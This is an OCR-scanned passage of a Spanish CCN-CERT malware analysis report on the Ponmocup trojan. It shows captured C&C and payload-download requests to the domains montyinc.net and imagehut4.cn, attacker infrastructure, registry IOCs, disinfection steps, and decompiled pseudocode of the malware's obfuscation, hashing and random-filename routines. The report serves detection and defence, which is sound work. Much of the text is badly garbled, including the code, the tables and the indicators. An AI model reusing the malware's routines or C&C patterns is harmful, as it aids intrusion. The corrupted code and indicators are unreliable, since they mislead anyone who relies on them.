SOCCSZCCOEEBEA 17 ZFESDEEDDEES3CECCZEDFET CES34AFSFEACDEODAAZOEAAZABTB203895EEE1BED
OBECS3E0975649]1 190DABA 1 AEFAS T CAZ37 8862822601 FOCOSFFAFBOZEAFAEL GABSS7ESCFOFAEF21B9A
2777 A336FFE06347F LS88E0YSEACEOCFESFADBO 1 SAFSEFZVESB7FEA0S1 337 IDFE347DECEE L4257 16
FAF1133D663694AECTE97 A0FDAFADS T C22F7 34820921 003BS6AEZAAA 1 2ZEGCEFDAALSOF44A7 7ESSAAD
SCBCCR33C3EE7ABOFZ2257B7E0S685CS548C857BC30AEASTOFZ1DATSCFDADZDZ T CCSCE1EEBAS0BBS1
FE157C2862CBFCBCS383BC474896C9 7 3FCT794FE8D526568B9B0ABZADEFSA7ZADLIFA1D4ATCAB1EVFESE
AQDZABCCAADFIZ33D75A5C70930DABF41 2DFOE733FA4Z2486A5ATDECZEBE0D1 7CAZCCT45, html
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; MSIE 8.0; Windows NT 6.0; en-US)

Host: montyinc.net

Cache-Control: no-cache

llustracion 17. Uso del User-Agent durante la conexién con el C&C

La comunicacion es establecida mediante el protocolo HTTP haciendo uso de las
APIS de Windows:

“InternetOpenA”
“InternetOpenUriA”
“InternetReadFile”
“InternetCloseHandle”

El dominio al que conecta es “montyinc.net”. Esta direccidn se encuentra
establecida de forma estdtica dentro del binario de “Ponmocup™.

La conexidn es configurada para realizar dos reintentos. Los tiempos de espera
son establecidos en 15 minutos para la recepcion, y 30 segundos para la conexién y
envio. En la siguiente imagen se puede observar coémo son configurados estos
pardmetros:
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ae2c1127 push L4 ; dwBufferLength

88261129 lea eax, [ebp+Buffer] ; 38888 ms = 38 seqgundos

aez2c112c push eax ; lpBuffer

882c112D push 2 ; dwOption = IMTERMET_OPTIOM COMMECT_TIHEOUT
ae2Cc112F push esi ; hlnternet

ae2c1138 mow edi, ds:InternetSetOptionn

882c1136 call edi ; InternetSetOptionn

882C1138 mow [ehp+BuFFer], ebx ; 30068 ms = 38 segundos

882c113B push ; dwBufferLength

a82c113D lea ecx, [ebp+Buffer]

a82c1148 push ecx ; lpBuffer

aazc1141 push 5 ; dwoption = INTERNET_OPTIOM_CONTROL_SEND_TIMEOUT
882c1143 push esi ; hInternet

ae2c114y call edi ; InternetSetOptionn

a82c1146 mou [ehp+BuFFer], 9A008A0 ; 9008008 ms = 15 minutos

882c114D push ; dwBufferLength

Be2c114F 1lea edx, [ebp+Buffer]

88261152 push edx ; lpBuffer

a@2c1153 push L] ; dwOption = IMTERHET_OFTIOW COMTROL_RECEIVE_TIHEOUT
Be2c1155 push esi ; hInternet

ae2c1156 call edi InternetSetl]ptiunH

882C1158 mow [ehp+uar 28], 2 ; 2 reintentos

882C115F push ; dwBufferLength

a82c1161 lea eax, [ebp+var_ 28]

a82C1164 push eax ; 1pBuffer

#a2c1165 push 3 ; dwOption = IMTERHET_OPTIOM COMHECT_RETRIES
882c1167 push esi hInternet

B82C1168 call edi ; InternetSetl]ptlunn

llustracion 18. Configuracioén de tiempos de espera para el C&C

El envio de datos hacia el C&C se realiza mediante peticiones GET.

A continuacién se muestran un ejemplo de los datos enviados al C&C tras
realizar la instalaciéon del cédigo danino

html/license_DB32C92504C636C070A0E?089 CDS55FF? 1 CCEA4B8B02986222EFC240400
56312F2'824A007F3FDD65B64D42BC18E893955BA01B14ED148B23551E508C931B4CEOA
19

Los datos son enviados de forma cifrada sobre protocolo HTTP y contienen una
telemetria completa de todo el proceso de instalacion en el sistema asi como datos
recopilados sobre el propio sistema afectado.

6.2 Conexiones establecidas en un sistema virtual / sandbox

Si se ha detectado que se estd ejecutando bajo una mdaquina virtual o sandbox,
ademds de enviar informacién al C&C, se realiza el intento de descarga de un nuevo
binario. A continuacion se muestra la informacidén de estas conexiones.

El User-Agent utilizado para realizar la descarga del nuevo binario es:

User-Agent
Mozilla/4.0 (compatible; MSIE 7.0 ; Windows NT 5.2; SV1)
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. Follow TCP Stream (tcp.stream eq 0) [ = s

-stream Content

GET /update/utu.dat HTTR/1.1 _ _
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; SW1)
Host: 1magehutd.cn

HTTP/1.1 404 Not Found

Server: Tengine/1.4.2

Date: Tue, 29 Dec 2015 11:28:35 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.10

Set-Cookile: PHPSESSID=4qeqr]gh48s6]gn3lbB42cmud?; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

fE5d

<! DOCTYPE html=

<html=

<head=

.<meta charset="utf-8"=

.=meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /=
.<title=Imagehut4.c

‘ Entire conversation (63624 bytes) - |
‘ Q) Buscar ” 5 Guardar cemo H B imprimir ‘ ASCIl () EBCDIC () HexDump () C Arrays () Raw
‘ 8 Ayuda ‘ | BF) Filter Out This Stream | ‘ 3% Cerrar ‘

llustracién 19. Uso del User-Agent durante la conexiéon de descarga

La comunicaciéon es establecida mediante el protocolo HTTP haciendo uso de las
APIS de Windows:

“InternetOpenA”
“InternetOpenUriA”
“InternetReadFile”
“InternetCloseHandle”

La direccion host hacia la que conecta es “imagehut4.cn”. Esta direccion se
encuentra establecida de forma estdtica dentro del binario que actia como dropper.

En el momento del andlisis el archivo “utu.dat” no estaba disponible en el
servidor.

6.3 Informacion del atacante
6.3.1 IMAGEHUT4.CN

6.3.1.1 DIRECCION IP

Segun la informaciéon facilitada por Robtex.com, el dominio "imagehut4.cn” se

corresponde con la direccion 123.254.111.190
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Base Record Preference Name IP Number Reverse Routes AS Location
£5.19.128.0/18 ﬁ;EE:ErEFremont,
65.19.157.2355 Hurricane Electric Hurricane United
HURRICAME-4 ; States
Electric
123.254.104.0/21
123.254.111.0/24
A imagenut4.cn P‘;‘_’x\’;"eg'“e’ed routel 51 33731
e RAINBOW-2
123.254.111.190/hkhdc. laws .ms CLOUDIEHK Unit o i v Hang
1604, Perfect Kong
Metwork
Industrial Building Limited
31st Tai Yau Street,
San Po Kong
Kowloon NA
2518779
NS nsl.dnbiz.com 205.164.14.67 205.162.0.0/18 ENERGY-  |San
. GROUP- Jose,
(missing 55 S. Market St. "
i in zone) NET205-164-14.64  [NETWORKS|United
imagehutd.cn ns2.dnbiz.com  [205.164.14.79 Energy States
Group Netwo|
23.22.0.0/15
23.23.149.79 ec2-23-25-149-79. compute-1.amazonaws.com | Ama-on EC2 [AD
prefix
33.23.152.148 |ec2-33-23-157-148.compute-1.amazonaws .com AMAZON-
EC2-USEAST-10
54.224.0.0/15 rs1age
54.225.102.91 |ec2-54-225-102-91.compute-1.amazonaws.com Ar':ﬁizo" EC21AD Amazon-  |Ashbum,
M mail.skrimple.com| AMAZON-2011L AESIAD United
54.222.0.0/15  [nmazon-  |States
. . . -54- — - . -1. . : iy AESHAD
54.243.145.112 |ec2-54-243-145-112.compute-1.amazonaws CDmArnazun EC2 IAD
Cea_ _ _ _ prefix
54.243.155.13 |ec2-54-243-155-13.compute-1.amazZonaws.com AMAZO-ZIADA
184.72.128.0/17
184.72.252.56 |ec2-184-72-252-56.compute-1.amazonaws.com Amazon IAD prefix
AMAZON-EC2-7

Existen otros dominios que poseen la misma direccién IP, son los siguientes:

xn--fiqs8s44psé1b.biz abranet.cn acadesine.cn

dlicpc.cn anyed.cn appebb.cn

xingguanglu.cn

vialox.cn xingfuy.cn
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zhfrd.cn 15345.com 1daili.com
266303.com 520chanel.com 795788.com
838982.com aifalv.com alyj.com
bendijing.com bengao.com bwfw.com
cnlook.com dadianwan.com dajinchan.com
fenkeng.com guizhongmiyou.com haorao.com
huboshi.com maoshang.com mubico.com
nuankou.com ouyeda.com gianbilipin.com
gmixtv.com shuoniu.com xinlonghui.com
yingjiante.com od.my aguang.net

shipi.net fownsendspress.net zaoying.net

*.qigié.cn www.bizhixiu.cn 222ccc.com.cn
annuan.com.cn ceel.com.cn hong-giao.com.cn
nikesport.com.cn omiz.com.cn gx8.com.cn
www.cgxty.cn *.syjl.cn www.airtelghana.com
www.chinahuaxia.com mail.gddasheng.com www.ningdai.com
*.faihushi.com *.pzkj.net 221.65.76.118.adsl-pool.sx.cn
174.214.204.221.adsl-pool.sx.cn | 56.228.134.61.adsl-pool.sx.cn

6.3.1.2 GEOLOCALIZACION

En el momento del andlisis, la direccién IP 123.254.111.190 se encuentra ubicada
en Hong Kong como se muestra en la siguiente imagen:

[ n~,h-ki:’hnﬁ o )f e = Y
. biPrei3CTan .*1
M Satélit k(a3 e
lapa atelite i yrgyzstan Beging / xo

pz

nenistan (‘f&‘«:—v)/u olaiz Sea of Japan
i TOYMKNCTOH North Kor
nenma’\ﬁjiﬁstan y orth Torea
o : tijztalz 2]
; S

o

F: 3
South Korea AR Japan
HE Osaka
Olislas] China 2
Afghanistan [

Country: [Hong Kong x |

{
ol Hostname|imagehut4.cn [China Sea
Pakistan New@pelhi e 123.254.111.190
Nepal \ / I
India HongKong  Taiwan
Mumbai
o
Hyderabad
o
ﬂﬁ:l[’lﬁlﬂu south Kalusunan
Thailand Viet Nam  China Sea
Chennai ® Vietnam et
Bengaluruo O Eayotbengal nRPMAINTIAT Pilipinas
Arabian Sea Bangkok { Philippines &
i
if of
Thailand Palawan Negros
Sti Lanka Mindanao +
i Lanl 4
Laccadive Sea W, Basilan _
Malaysia
Go gle Kuala Lumpur Nl e
) ¢ Datos de mapas ©2015 Google, ORION-ME, SK planet, ZENRIN | Términos de uso

6.3.1.3 WHOIS

A contfinuacién se muestra informacion extendida whois facilitada por el sitio
web “whois.net":

Domain Name: imagehut4.cn

ROID: 20130729s10001564898887-cn

Domain Stafus: ok

Registrant ID: whois_private

Registrant: WHOIS PRIVACY PROTECTION SERVICE
Registrant Contact Email: whois.private.service@gmail.com
Sponsoring Registrar: Dnbiz Limited

Name Server: nsl1.dnbiz.com
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Name Server: ns2.dnbiz.com
Registration Time: 2013-07-29 10:32:08
Expiration Time: 2016-07-29 10:32:08
DNSSEC: unsigned

6.3.2 MONTYINC.NET

6.3.2.1 DIRECCION IP

Segun la informacién facilitada por Robtex.com, el dominio "montyinc.net" se
corresponde con la direccion IP 173.230.158.166

Base Record Preference IP Number Reverse Routes

A56939 Absecon,
Y montyinc.net 173.230.158.166 11200—165.members.unude.com”s'230'1%'0/20 HURRICANE United
LINODE-US
Hurricane Electric |States

x.h.03.net.baskingshark.nsl

montyinc.net NS ®.h.03.net.baskingshark.ns2
NS 178.79.128.0/18 (A515830
. . Linode-2 TELECITY-LON  [United
g(r;lg]m nsl.baskingshark.net 178.79.157.2%1 |nsl.baskingshark.net LINODE-UK Linode, |TELECITYGROUP|Kingdom

LLC INTERNATIONAL

llustracion 20. Registros encontrados del Dominio "montyinc.net"

Existen otros dominios que poseen la misma direccién IP, son los siguientes:

extraperlo.biz iesnarefrack.biz pheer.biz
~ thejacksonfive.oiz | upagent99biz bOxcom
~ bigfootkilme.com | brauchycom  gabciclecom
~ obamawebcam.com | oryxyioosnrmfvva.com  gaoxnspmxwemhu.com
~ usashopsoftusa.com | win32updatercom  yougofissuezcom
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6.3.2.2 GEOLOCALIZACION

En el momento del andlisis, la direccion IP 173.230.158.166 se encuentra ubicada
en Estados Unidos, como se muestra en la siguiente imagen:

\

Mapa Satélite
!
i Northwestern Kalaallit
) NU Passages Nunizald fsland
AK Greenlan Jceland
YT NT
///l
// \I‘ Canada Hudson Bay
’ i 4 s
Bering Sea \ Ae wa |Country: |United States X
&C ity bsecon
. | [ty Abseco ,,g_a,fa
| |Hostnameimontyinc.net ire
~ | |IP 173.230.158.166
S i e | ¥
il Y b MN j\ [ NB L oE .
sD wi ME NS
oR D 2 "
NE 1 2 A MA R
NV United States N M p on
co KS MO kv WA Portugi
cA
ok | ar TN NG North
AZ M % e Atlantic
North — - 5 AL Ga Ocean ]
Pacific LA Morc
Ocean Y &
\ e oy W
5 Golfo de v
Meéxico México Westerr
Mexico Sahara
Cuba Al il
Hl | Puerto Rico Mlul-g
K j R s
' Guatemala s AN
y Ay M anbbean Sea v
G-o gle . . B icoragus I 5 Datos de mapas ©2015 Google, INEGI | Términos de us
llustracion 21. Geolocalizacion del Dominio "montyinc.net
IP Information Results for 173.230.158.166 < Share
Country Country Code Region City Latitude Longitude ISP
us us nj absecon 39.420000 -74.499840 hurricane electrici...
United States us New Jersey Absecon 39.489899 -74.477303 Linode
United 5tates us California Fremont 37.548271 -121.988571 Linode

llustracion 22. Informacion de la direccion IP “173.230.158.166”

6.3.2.1 WHOIS

A contfinuacién se muestra informacién extendida whois facilitada por el sitio
web “whois.net":

Domain Name: MONTYINC.NET
Registrar: BIGROCK SOLUTIONS LIMITED
Sponsoring Registrar IANA ID: 1495
Whois Server: Whois.bigrock.com
Referral URL: http://www.bigrock.com
Name Server: NS1.SINKHOLE.CH

Name Server: NS2.SINKHOLE.CH
Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Updated Date: 30-nov-2015

Creation Date: 07-apr-2011

Expiration Date: 07-apr-2016

>>> | ast update of whois database: Tue, 29 Dec 2015 09:52:39 GMT <<<
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7. DETECCION

Para detectar si un equipo se encuentra o ha estado infectado para cualquiera
de sus usuarios se empleard la herramienta del sistema "regedit.exe” (editor del
registro), o bien se ejecutard alguna de las herramientas de Mandiant como el
"Mandiant IOC Finder" o el colector generado por RedLine@ con los indicadores de
compromiso generados para su deteccion.

Se recomienda iniciar sesidn con un usuario que posea derechos administrativos
en el sistema para realizar las siguientes comprobaciones.

7.1 UTILIDAD DEL SISTEMA

Se ejecutard la utilidad “regedit.exe” (inicio > ejecutar > regedit) y se localizard
la existencia de las siguientes entradas en el registro, tanto en HKEY_LOCAL_MACHINE
como en HKEY_CURRENT_USER

“Software\Microsoff\Windows\CurrentVersion\Internet Settings”
“System\CurrentControlSet”

Después, se comprobard si estas entradas contienen valores con nombres
comprendidos entre el 1 y el 10, como en las ilustraciones 8 y 9 de este documento.

Si se encuentra alguna de esas entradas de registro, significa que el equipo se
encuentra infectado.

7.2 MANDIANT

Se ha generado un nuevo archivo indicador de compromiso. El nombre del
indicador generado es "Ponmocup - CCN-CERT' con GUID "a209da74-723c-46af-ad88-
abfd3%bel1f67".

Se utilizard el indicador con alguna de las herramientas de las que dispone
Mandiant como "Mandiant_ioc_finder' o para la confeccidn de un recolector de
evidencias mediante "Mandiant RedLine".

Se recomienda consultar la guia de seguridad CCN-STIC-423 Indicadores de
Compromiso (IOC), donde se recoge qué es un indicador de compromiso, como
crearlo y cdmo identificar equipos comprometidos.
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Name: Ponmocup T. R.
Author: CCN-CERT

GUID: 2209da74-723c-46af-adB88-2bfd35belfsT
Created: 2015-12-0% 16:15:36Z
Modffied: 2015-12-14 11-34:-382

Description:

IOCs para detectar:

- Dropper MD5

- Registry keys
- Snort

Add: AND OR Jtem ~ =

=-or ~
1 ~Registry Eey Path contains HEIM\SoftwareWMicrosoft\Windows\CurrentVersion'Internet Settings'8
E=-0or

-Regiscry Key Path contains HEKIM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\d
[=-oR

i ‘Registry Key Path containa HKLM\System\CurrentControlSet\l
=-or
‘Registry Key Fath contains EKLM\Sysctem\CurrentControlSet\2
=-or
E Regiscry Eey Pacth contains HEKLM\System\CurrentControlSet\3
=- o
Fegistry Key Path contains HKLM\System\CurrentControlSet\4d
=
| Fegistry Hey Path contains HEKLM\System\CurrentControlSet\&
E-oR
‘Registry Key Path contains HKIM\System\CurrentCentrolSet\é
=-OR
‘Registry Key Path contains HKLM\System\CurrentControlSet\7
=-0R
-Registry Key Path contains HELM\System\CurrentControlSet\E
=-or
~Registry Key Path contains HELM\System\CurrentControlSet\3
=-oR
E ~Snert Rule, double click to view or edit
=-or
~Snort Rule, double click to view or edit

llustracion 23. Indicadores de compromiso I0Cs

8. DESINFECCION

8.1 Manual

A continuacién se detallan los pasos necesarios para llevar a cabo una
desinfeccién manual de “Ponmocup” en el equipo:

En primer lugar, se ejecutard la utilidad “regedit.exe” (inicio > ejecutar > regedit)
para localizar las siguientes entradas en el registro, tanto en HKEY_LOCAL_MACHINE
como en HKEY_CURRENT_USER:

“Software\Microsoff\Windows\CurrentVersion\Internet Settings\1"”
“Software \Microsoff\Windows\CurrentVersion\Internet Settings\2"
“Software \Microsoft\Windows\CurrentVersion\Internet Settings\3”
“Software\Microsoff\Windows\CurrentVersion\Iinternet Settings\4”
“Software\Microsof \Windows\CurrentVersion\Internet Settings\5"
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"Software\Microsoff\Windows\CurrentVersion\Internet Settings\é”
“Software\Microsof \Windows\CurrentVersion\Internet Settings\7"
“Software\Microsoftf\Windows\CurrentVersion\Internet Settings\8"
“Software\Microsoff\Windows\CurrentVersion\Internet Settings\9”
“Software\Microsoff\Windows\CurrentVersion\Internet Settings\ 10"
“System\CurrentControlSet\1”

“System\CurrentControlSet\2"

“System\CurrentControlSet\3”

“System\CurrentControlSet\4”

“System\CurrentControlSet\5”

“System\CurrentControlSet\é"

“System\CurrentControlSet\7"

“System\CurrentControlSet\8”

“System\CurrentControlSet\9”

“System\CurrentControlSet\ 10"

Una vez eliminadas dichas claves se procederd a buscar la siguiente entrada en
el registro, igual que en el caso anterior, tanto en HKEY_LOCAL_MACHINE como
HKEY_CURRENT_USER:

“Software\Microsoft\Windows\CurrentVersion\Run\"

En esta entrada se deberd de localizar un nombre generado aleatoriamente
gue contendrd como valor, o bien un nombre de archivo con extensidon “.exe”, o bien
“rundll32.exe"” seguido de un nombre de libreria con extension “.dll".

En el caso estudiado en este informe, se han generado las siguientes claves:
Clave generada para el archivo “.exe”
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CDCYLM"

Con el valor:

“%APPDATA%\VMNetMgrd.exe”

Clave generada para el archivo “.dll”
"HKCU\Software\Microsoft\Windows\CurrentVersion\RUn\RRGFOL"

Con el valor:

Rundll32 “%APPDATA%\sbiog.dll”, XRBGNSAB

Una vez localizados nombre y ruta se procede a eliminar el archivo y la clave de
registro.

En la siguiente imagen se puede ver la clave mencionada para el archivo “.exe”.
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L T L T —
Archivo Edicidon Ver Eavoritos Ayuda

[ A “ || Nombre Tipo Datos
4. Windows _‘_‘_’j(Predetermi.u REG_SZ (valor no establecido)

-] CurrentVersion 8 cpeym REG_SZ CA\Users\Administrador\AppData\Roaming\WMNetMard.exe
| Action Center

Applets

Explorer
Ext
Group Policy

ime

Internet Settings
MCT

NetCache
Policies

YTV YWY W W

I

I

I

I

| HomeGroup
L i

I

I

I

I

- | RADAR
| | Run |
| RunOnce

r. |l Crrasncsuare

< ] ]

Equipo\HKEY_CURRENT_USER\Software\MicrosoftyWindows\CurrentVersion\Run

llustracion 24. Claves de registro creadas para la persistencia

Por Ultimo se localizard la clave "HKLM\Software\<nombre aleatorio>\<valor
aleatorio” o "HKCU\Software\<nombre aleatorio>\<valor aleatorio” y se eliminard.

[ s Editor del Registro e 2 — ol S

Archivo Edicidn  Wer Favoritos  Ayuda

4 ;-,;l Equipo -
[~ . HKEY_CLASSES_ROOT
a- | HKEY_CURRENT_USER

B

-1, Console

., Control Panel

i . Environment

ol EUDC |

. Identities

. Keyboard Layout

- Metwork

. Printers

. Software

- AppDataLow

, Classes

. Ghisler i

., Hex-Rays

., Microsoft

. Policies

Nembre Tipo Datos

EEJ(Predeterminado] REG_SZ (walor no establecido)

I;'_-'t]busrjig REG_BINARY OeldfdB8c056e18 62 dd 0907 &d
., AppEvents

o
e e e e R e e

P

- L VMware, Inc. — |
. Wireshark

| -4 1L wjnhxoxd |
bty Wowbd32Node
4- . System

3
P [y | Y

T T W W W T
o e

| H N
Equipo\HKEY_CURRENT_USER!\Software\wjnhxoxd

llustracion 25. Clave de registro creada con valores aleatorios

8.2 Automadtica

Se aconseja instalar un software antivirus en todos aquellos equipos en los que se
haya detectado algin indicador de compromiso o encontrado algin archivo o clave
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de registro indicados, y realizar un andlisis completo del sistema para desinfectarlo
completamente.

NOTA: estas recomendaciones son aplicables también a dispositivos removibles.

9. ALGORITMOS

A continuacién se muestra el pseudo-cédigo de varios algoritmos usados por
el instalador y la “dll” de “ponmocup™

int __fastcall decodeStringl(int al, int a2, int a3, int a4, signed int a5)
{
intv5; // ebx@1
inti; //esi@1
intv7; // edx@3
int v9; // [sp+14h] [bp-24h]@1
int v10; // [sp+18h] [bp-20h]@1

v10=al;
v5=a2 + *(_BYTE *)ad4 % (a3 - a2 + 1);
v9 = *(_BYTE *)(ad + 1) % 3;
for (i=0;i<V5;++i)
{

v7 = *(_BYTE *)((i + 2) % a5 + a4) % 26 + 65;

if(vO==1||v9==28&&i)

LOBYTE(v7) = (unsigned __int16)(*(_BYTE *)((i + 2) % a5 + a4) % 26) + 97;

al =vi0;

*(_BYTE *)(i + v10) = v7;
}
*(_BYTE *)(v5 +al) =0;
return al;

}

void __fastcall generaHASH(int datos, signed int lenDatos, int buf_destino, int lenDestino, int
nlteraciones)
{
signed int contadorBucleTabla; // edi@1
signed int i; // eax@3
unsigned __int8 tmplIDX; // cl@6
signed int TotalVueltasBucle; // eax@7
char *v9; // esi@10
charv10; // bl@10
char *v11; // eax@10
unsigned __int8 v12; // di@11
intj; // esi@11
unsigned __int8 v14; // al@13
char *v15; // eax@13
charvie; //ST19_1@13
char *v17; // ecx@13
int buf_datos; // [sp+Ch] [bp-12Ch]@1
signed int size_buf_datos1; // [sp+10h] [bp-128h]@1
char contadorTabla; // [sp+1Bh] [bp-11Dh]@6
unsigned __int8 contadorTablaa; // [sp+1Bh] [bp-11Dh]@11
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char tabla[256]; // [sp+1Ch] [bp-11Ch]@5
void *v23; // [sp+11Ch] [bp-1Ch]@1
CPPEH_RECORD ms_exc; // [sp+120h] [bp-18h]@1

v23 = (void *)cookieDword;
size_buf_datos1 = lenDatos;
buf_datos = datos;
contadorBucleTabla = 0;
ms_exc.registration.TryLevel = 0;
if (buf_destino && lenDestino )
{
for (i=0;i<256;++i)
tabla[i] = 1i;
tmplIDX =0;
contadorTabla = 0;
while (1)
{
TotalVueltasBucle = lenDatos;
if (lenDatos <= 256 )
TotalVueltasBucle = 256;
if ( contadorBucleTabla >= TotalVueltasBucle )
break;
v9 = &tabla[(unsigned __int8)++contadorTabla];
v10 = *v9;
tmpIDX += *v9 + *(_BYTE *)(contadorBucleTabla % size_buf_datosl1 + buf_datos);
v11 = &tabla[tmpIDX];
*v9 = *v11;
*v11 =v10;
++contadorBucleTabla;
lenDatos = size_buf_datos1;
}
vl2 =0;
contadorTablaa = 0;
for (j = -nlteraciones; j < lenDestino; *(_BYTE *)(j + buf_destino) A= tabla[(unsigned __int8)(v16 +
*v15)])
{
v14 = contadorTablaa + 1;
contadorTablaa = v14;
v15 = &tabla[v14];
v12 += *v15;
v16 = *v15;
v17 = &tabla[v12];
*v15 = *v17;
*v17 = v16;
j+=j<0?1:0;
}
}

ms_exc.registration.TryLevel = -1;
cookie(v23);

}

void __thiscall GeneraStringAleatoria(void *this, int a2)

{

unsigned __int64 datos; // [sp+Ch] [bp-68h]@1
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void *v3; // [sp+14h] [bp-60h]@1

_BYTE buf_destino[64]; // [sp+18h] [bp-5Ch]@1
__intl6 v5; // [sp+55h] [bp-1Fh]@1

char v6; // [sp+57h] [bp-1Dh]@1

void *v7; // [sp+58h] [bp-1Ch]@1
CPPEH_RECORD ms_exc; // [sp+5Ch] [bp-18h]@1

v7 = (void *)cookieDword;

v3 = this;

ms_exc.registration.TryLevel = 0;

buf_destino[0] = 0;

memset(&buf_destino[1], 0, 0x3Cu);

v5=0;

v6 =0;

datos = __rdtsc();

generaHASH((int)&datos, 8, (int)buf_destino, 64, 4096);

decodeStringl(a2, buf_destino, 64);

ms_exc.registration.TryLevel = -1;

cookie(v7);
}
char *__thiscall ObtenNombreArchivoRandomSystem32(char *this)
{

char *v1; // edi@1

charv2; // al@2

intv3; // ebp@3

unsigned int v4; // ebx@3

unsigned int v5; // edi@4

HANDLE v6; // esi@4

char *v7; // eax@5

signed int v8; // kr00_4@7

time_t v9; // esi@16

unsigned int v10; // esi@16

char *result; // eax@18

char *v12; // edi@19

signed int v13; // [sp+10h] [bp-250h]@3

char *v14; // [sp+14h] [bp-24Ch]@1

char vi15; // [sp+18h] [bp-248h]@4

char vi16; // [sp+44h] [bp-21Ch]@5

char v17; // [sp+157h] [bp-109h]@1

CHAR Buffer; // [sp+158h] [bp-108h]@1

intv19; // [sp+25Ch] [bp-4h]@1

v19 = cookieDword;
v14 = this;
GetSystemDirectoryA(&Buffer, 0x104u);
vl =&vl7;
do
v2 = (v1++4)[1];
while (v2);
*(_DWORD *)v1 = 707668572;
v3=0;
v1[4] =0;
v4d =0;
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vl3=1;
while (1)
{
v5=0;
v6 = FindFirstFileA(&Buffer, (LPWIN32_FIND_DATAA)&v15);
if (v6 != (HANDLE)-1)
break;
LABEL_14:
if(v13==1)
{
if (v5 <O0xA)
goto LABEL_18;
v9 = time(0);
v10 =-1160008259 * (GetTickCount() + v9);
v3 =v10 % v5;
v4 = (v10 >> 10) % 0x24;
}
if ( (unsigned int)++v13 >2)
{

LABEL_18:
GeneraStringAleatoria(v14, 8);
return v14;

}
}
while (1)
{
v7 = strchr(&v16, '.");
if (v7)
*v7=0;
v8 = strlen(&v16);
if(v8B<4 || v8>=10)
goto LABEL_12;
if (v13==2 && v5==Vv3)
break;
++v5;
LABEL_12:
if ( IFindNextFileA(v6, (LPWIN32_FIND_DATAA)&v15))
{
FindClose(v6);
goto LABEL_14;
}
}

v12 = strcpy(v14, &v16);

if (v4 >=0xA)

{

v12[v8] =v4 + (v12[v8 - 1] >90 ? 97 : 65) - 10;
v12[v8 + 1] = 0;
result =v12;

}

else

{
v12[v8] = v4 + 48;
v12[v8 + 1] = 0;
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}
}
{

C

{

}

}

return result;
unsigned int __fastcall checksum(_BYTE *al, int a2)

unsigned intv2; // eax@1
int v4; // edi@2
unsigned int v5; // edx@3

unsigned int v7; // eax@3
unsigned int v8; // eax@3
unsigned int v9; // eax@3
unsigned int v10; // eax@3
unsigned int v11; // eax@3
unsigned int v12; // eax@3
unsigned int v13; // eax@3

v2=-1;

v3 =al;
if (a2)

return ~v2;

result =v12;

BYTE *v3; // esi@1

har ve6; // cl@3

v4 = a2;

do

{
V5 = *v3;
V6 = (V2 M *v3++) & 1;
v7 = (v6 != 0 ? OXEDB88320 : 0) / (v2 >> 1);
v5>>=1;
v8 = ((((unsigned __int8)v7 ~ (unsigned __int8)v5) & 1) !=0 ? OXEDB88320: 0) * (v7 >> 1);
v5>>=1;
v9 = ((((unsigned __int8)v8 ~ (unsigned __int8)v5) & 1) !=0 ? OXEDB88320: 0) * (v8 >> 1);
v5>>=1;
v10 = ((((unsigned __int8)v9 A (unsigned __int8)v5) & 1) !=0 ? OXEDB88320: 0) * (v9 >> 1);
v5>>=1;
v11 = ((((unsigned __int8)v10 ~ (unsigned __int8)v5) & 1) =0 ? 0xEDB88320: 0) A (v10 >> 1);
v5>>=1;
v12 = ((((unsigned __int8)v11 A (unsigned __int8)v5) & 1) |=0 ? OXEDB88320: 0) A (v11 >> 1);
v5>>=1;
v13 = ((((unsigned __int8)v12 A (unsigned __int8)v5) & 1) !=0 ? OXEDB88320: 0) ~ (v12 >> 1);
v2 = ((((unsigned __int8)v13 A (unsigned __int8)(v5 >>1)) & 1) |=0 ? OxEDB88320 : 0) A (v13 >> 1);
--v4;

}

while (v4 );
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10. ARCHIVOS DE CONFIGURACION

10.1 Archivo de configuracién “dll”

"1100","10","1200"

"1100","11","300"

"1100","12","900"

"1100","13","172800"

"1100","14","30"

"1100","15","10"

"1500","10","12"

"1500","100","1"

"1500","101","xkImcomp.com|globalnetscan.com"

"1500","102"," /feed.php?%s"

"1500","103","*yimg.* | *ivwbox.* | *atdmt.* | *img.youtube.* | *adbureau.net| *scorecardresearch.co
m | *google-analytics.com|66.232.11?.*%|66.232.12?.*%| *googlehosted.com | *gmodules.com| *g-
mail.com| *gmail.com|*gmodule.com | *googlecode.com | *googleearth.com|*googleemail.com|*goo
glemail.com| *googletalk.com| *googleusercontent.com| *googlevideos.com| *mupads.* | *gstatic.* | *
abmr.*| *alexametrics.com"”

"1500","104"," /search\x5C?*q=* |google.*| gq=| /search\x5C?*q=* | www.google.* | q=| /search[\x5C?;]
*p=*|*search.yahoo.* |p=|/web\x5C?*q=*| *ask.com|q=|/search\x5C?*qg=* | bing.* | g=| /search\x5C
?*q=* | www.bing.*| q=|/aol/search\x5C?*q=* | search.aol.com|g=|/search/results.php\x5C?*q=* | se
arch.icqg.com|qg=|/url\x5C?*q=* | google.* | gq=| /url\x5C?*q=* | www.google.* |g=| /yhs/search[\x5C?;]
*q=*|*search.yahoo.*|q=|/redirector/sredir\x5C?*query=* | *search.aol.com|query=| /aol/search\x5
C?*query=*|*search.aol.com|query=|/\x5C?ver*q=* | *search.toolbars.alexa.com|qg="
"1500","105","*google.*/search\x5C?*q=*| *google.* | g=| *google.*/url\x5C?*q=*| *google.* | g=| *g
oogle.*/aclk\x5C?*q=*| *google.* | q=| *search.yahoo.*/search[\x5C?;]*p=* | *yahoo.* | p=| *ask.com/
web\x5C?*q=*| *ask.com|g=]| *bing.*/search\x5C?*q=* | *bing.* | q=| *search.aol.com/aol/search\x5C
?*q=*|*.aol.com|qg=|*search.icq.com/search/results.php\x5C?*q=*| *.icq.com | q=| *search.icqg.com/
search/results.php\x5C?*q=*| *.aol.com| g=| *search.yahoo.*/yhs/search[\x5C?;]1*q=* | *.yahoo.*|g=
| *search.aol.com/aol/search\x5C?*query=*| *search.aol.com|query=| *search.toolbars.alexa.com/\x
